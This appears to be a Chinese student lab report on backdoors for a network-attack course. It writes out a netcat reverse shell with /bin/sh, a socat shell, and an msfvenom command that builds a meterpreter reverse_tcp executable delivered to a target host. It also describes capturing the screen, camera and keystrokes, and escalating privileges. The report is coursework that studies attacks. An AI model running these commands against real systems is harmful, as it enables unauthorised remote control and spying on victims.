20145204《网络对抗》MAL后门原理与实践

实践内容说明

(1)使用netcat获取主机操作Shell,cron启动 (1分)

(2)使用socat获取主机操作Shell, 任务计划启动 (1分)

(3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)

(4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

基础问题回答

(1)例举一个后门进入到你系统中的可能方式?

通过下载破解软件,或者浏览带有插件的网页。

(2)例举一个后门启动起来(win及linux)的方式?

后门伪装成常用软件,诱使用户点击。

(3)Meterpreter有哪些给你映像深刻的功能?

获得system权限,得到密码

(4)如何发现自己有系统有没有被安装后门?

实验总结与体会

在做后门的实验,深刻意识到了后门的危害性,一旦中招,基本攻击者想知道的信息都能获得,在利用Meterpreter提取win7权限竟然成功,看来以后要经常查毒了。

实践一:ncat

知识要求:

1.NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection);
2.netcat实现简单服务器命令:nc -l -p //-l表明nc处于监听模式,-p指定端口号;
3.nc的-e选项,指定连接后执行的程序。
windows获得linux shell
  • windows作为攻击端开启监听模式ncat.exe -l -p 5204
  • linux反弹连接并且设置连接后启动shell。nc 172.30.202 5204 -e /bin/sh

linux获得windows shell。

与上面步骤相反,只不过windows设置连接后启动cmd。

以下是实验结果:

ncat文件传输

1、监听端windows命令: ncat.exe -lv port > filename

2、传输端kali命令:nc windows_ip port < filename

结果如下(传输的文件在ncat文件夹下):

cron启动

命令:crontab -e修改文件,crontab -l 查看修改的文件。

实践二:socat

windows获得kali shell

1、kali设置监听命令socat tcp-l:5204 system:bash,pty,stderr

2、windows连接,并获取权限socat readline tcp:172.30.1.181 5204

结果:

kali获得window shell

1、windows端如下图:

2、kali端如下:

实践三:

1、生成后门程序命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=linux_ip LPORT=444 -f exe >20145204.exe

2、利用ncat传输文件使得后门程序进入靶机,具体实现如下图所示:

3、根据老师教程,在kali中开启msf设置监听。

4、在windows端运行后门程序,并获得权限如下图所示:

实践四

  • 对靶机截屏:

结果如下:

  • 提权

参考资料

最新文章

  1. Community Value再理解
  2. Win10 兼容性 Visual studio web应用程序 ASP.NET 4.0 尚未在 Web 服务器上注册
  3. paper 80 :目标检测的图像特征提取之(一)HOG特征
  4. 十一、jdk命令之Jstatd命令(Java Statistics Monitoring Daemon)
  5. select 嵌套查询
  6. WIX: Hide installed program from the Add/Remove Programs window.
  7. JAVA面试题相关基础知识
  8. ods_yx给用户分配表空间、权限用户等工作内容。
  9. log4j的使用及参考
  10. mysql性能监控工具
  11. 20145237 《Java程序设计》第2周学习总结
  12. Baidu音乐爬虫
  13. Java之泛型编程
  14. docker-compose 案例
  15. java 根据日期获取星期
  16. KMS11激活Window系列
  17. bash登录过程 其实还不太了解,先码后看
  18. Nginx rewrite 中break与last指令的区别
  19. node.js入门(一)
  20. python中继承和多态

热门文章

  1. PyQT5-QPushButton切换按钮
  2. postgresql安装、可整理成一键安装PG脚本
  3. vue - vue + vue-router + vuex 简单项目
  4. 转:数据库范式(1NF 2NF 3NF BCNF)
  5. pycharm中python模板代码自动生成
  6. dedecms获取当前文章所在栏目URL
  7. dedecms首页调用随机文章全自动时时更新
  8. ovs的主要代码函数及大体结构图
  9. 走进C++程序世界------IO标准库介绍
  10. layer,一个可以让你想到即可做到的javascript弹窗(层)解决方案